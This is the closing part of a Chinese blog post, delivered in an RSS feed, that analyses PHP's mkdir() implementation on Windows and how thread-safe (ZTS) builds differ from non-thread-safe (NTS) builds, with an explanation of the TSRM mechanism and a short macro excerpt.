&lt;p&gt;有关&lt;code&gt;CreateDirectoryW&lt;/code&gt;参考&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createdirectoryw&#34;&gt;Microsoft Doc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;与&lt;code&gt;CreateDirectoryW&lt;/code&gt;对应的还有&lt;code&gt;CreateDirectoryA&lt;/code&gt;，两个函数功能一样，只是第一个参数的类型不同，一个是&lt;code&gt;LPCWSTR&lt;/code&gt; 另一个是&lt;code&gt;LPCSTR&lt;/code&gt; ，这两者是&lt;code&gt;CHAR&lt;/code&gt; 和&lt;code&gt;WCHAR&lt;/code&gt;的区别 ，详细可以参考&lt;a href=&#34;https://stackoverflow.com/questions/321413/lpcstr-lpctstr-and-lptstr&#34;&gt;StackOverflow&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;现在剩下最关键的一个问题，什么情况下会走&lt;code&gt;virtual_mkdir()&lt;/code&gt;的流程，也就是说&lt;code&gt;VIRTUAL_DIR&lt;/code&gt;是在何处定义的？&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320175730.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;php-7.2.16-src/Zend?zend_virtual_cwd.h&lt;/code&gt;line 41定义了这个变量，前置条件是&lt;code&gt;ZTS&lt;/code&gt;，也就是线程安全的标识，只有在线程安全模式下，才使用&lt;code&gt;virtual_mkdir()&lt;/code&gt;创建目录，调用的系统函数同样是&lt;code&gt;CreateDirectoryW&lt;/code&gt;，但是在此之前得先通过&lt;code&gt;virtual_file_ex()&lt;/code&gt;校验，含有&lt;code&gt;*&lt;/code&gt;和&lt;code&gt;?&lt;/code&gt;则无法创建成功。&lt;/p&gt;

&lt;h3 id=&#34;0x04-流程图&#34;&gt;0x04 流程图&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190321152354.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-深入&#34;&gt;0x05 深入&lt;/h3&gt;

&lt;p&gt;现在清楚了&lt;code&gt;php&lt;/code&gt;对&lt;code&gt;mkdir()&lt;/code&gt;的实现，之所以结果不一样是因为&lt;code&gt;ZTS&lt;/code&gt;与&lt;code&gt;NTS&lt;/code&gt;下的两种不同的处理流程，那么为什么在&lt;code&gt;ZTS&lt;/code&gt;模式下，在调用&lt;code&gt;Windows&lt;/code&gt;的&lt;code&gt;API&lt;/code&gt;创建目录之前，需要设置一个“虚拟目录”呢？&lt;/p&gt;

&lt;p&gt;这里涉及到&lt;code&gt;php&lt;/code&gt;内核中的&lt;code&gt;TSRM&lt;/code&gt;机制，也就是&lt;code&gt;线程安全资源管理器(Thread Safe Resource Manager)&lt;/code&gt; ，这个机制的引入是为了解决线程并发的问题，我们知道，如果线程访问的内存地址空间相同，当一个线程修改资源时会影响其它线程，所以为了确保不会出现资源竞争，&lt;code&gt;php&lt;/code&gt;将多个资源复制为多份，每个线程需要的资源在当前进程空间中各有一份，各取所取，这样就不会出现竞争问题。&lt;/p&gt;

&lt;p&gt;那么不同线程怎么获取自身所需要的资源呢？&lt;code&gt;php&lt;/code&gt;中通过&lt;code&gt;ts_allocate_id()&lt;/code&gt;函数实现， 这个函数的作用就是遍历所有线程，为每一个分配一个&lt;code&gt;线程安全资源id&lt;/code&gt;，每一次调用&lt;code&gt;ts_allocate_id()&lt;/code&gt;函数时，都会执行这个操作，而为了避免重复分配，这个过程是在调用模块初始化的时候就完成了&lt;/p&gt;

&lt;p&gt;&lt;code&gt;TSRMG&lt;/code&gt;的定义如下，其中&lt;code&gt;tsrm_get_ls_cache()&lt;/code&gt;有多个定义，但功能是一样的，就是根据资源id的&lt;code&gt;tls_key&lt;/code&gt;取出相应&lt;code&gt;value&lt;/code&gt;的过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#define TSRMG(id, type, element)	(TSRMG_BULK(id, type)-&amp;gt;element)
#define TSRMG_BULK(id, type)	((type) (*((void ***) tsrm_get_ls_cache()))[TSRM_UNSHUFFLE_RSRC_ID(id)])

# define tsrm_tls_get()			pthread_getspecific(tls_key)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在启动&lt;code&gt;cli&lt;/code&gt;或者&lt;code&gt;cgi&lt;/code&gt;时，都会通过&lt;code&gt;SAPI&lt;/code&gt;调用&lt;code&gt;tsrm_startup()&lt;/code&gt;启动&lt;code&gt;TSRM&lt;/code&gt; ，随后进行模块初始化，在这个过程中分配资源id，初始化时的调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190321140835.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当非ZTS模式时，线程直接调用全局变量的属性， 而ZTS模式设置“虚拟目录”的概念其实就是“根据资源id查找所需的全局变量”的过程，本质上是为了避免线程间资源读取出现竞争，保证了线程安全。&lt;/p&gt;

&lt;h3 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h3&gt;

&lt;p&gt;本文通过&lt;code&gt;php&lt;/code&gt;中&lt;code&gt;mkdir()&lt;/code&gt;函数在不同环境下表现结果不一致的现象，分析了&lt;code&gt;php&lt;/code&gt;内核对&lt;code&gt;mkdir()&lt;/code&gt;函数的实现，引申出&lt;code&gt;php&lt;/code&gt;中线程安全与非线程安全两个重要的机制，抛砖引玉，如有表述不妥或者错误之处欢迎指正，最后感谢@maple提出最初的问题以及探讨过程中给予的莫大的帮助。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://php.net/manual/en/function.mkdir.php&#34;&gt;http://php.net/manual/en/function.mkdir.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.codinglabs.org/articles/zend-thread-safety.html&#34;&gt;http://blog.codinglabs.org/articles/zend-thread-safety.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://segmentfault.com/a/1190000010004035&#34;&gt;https://segmentfault.com/a/1190000010004035&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>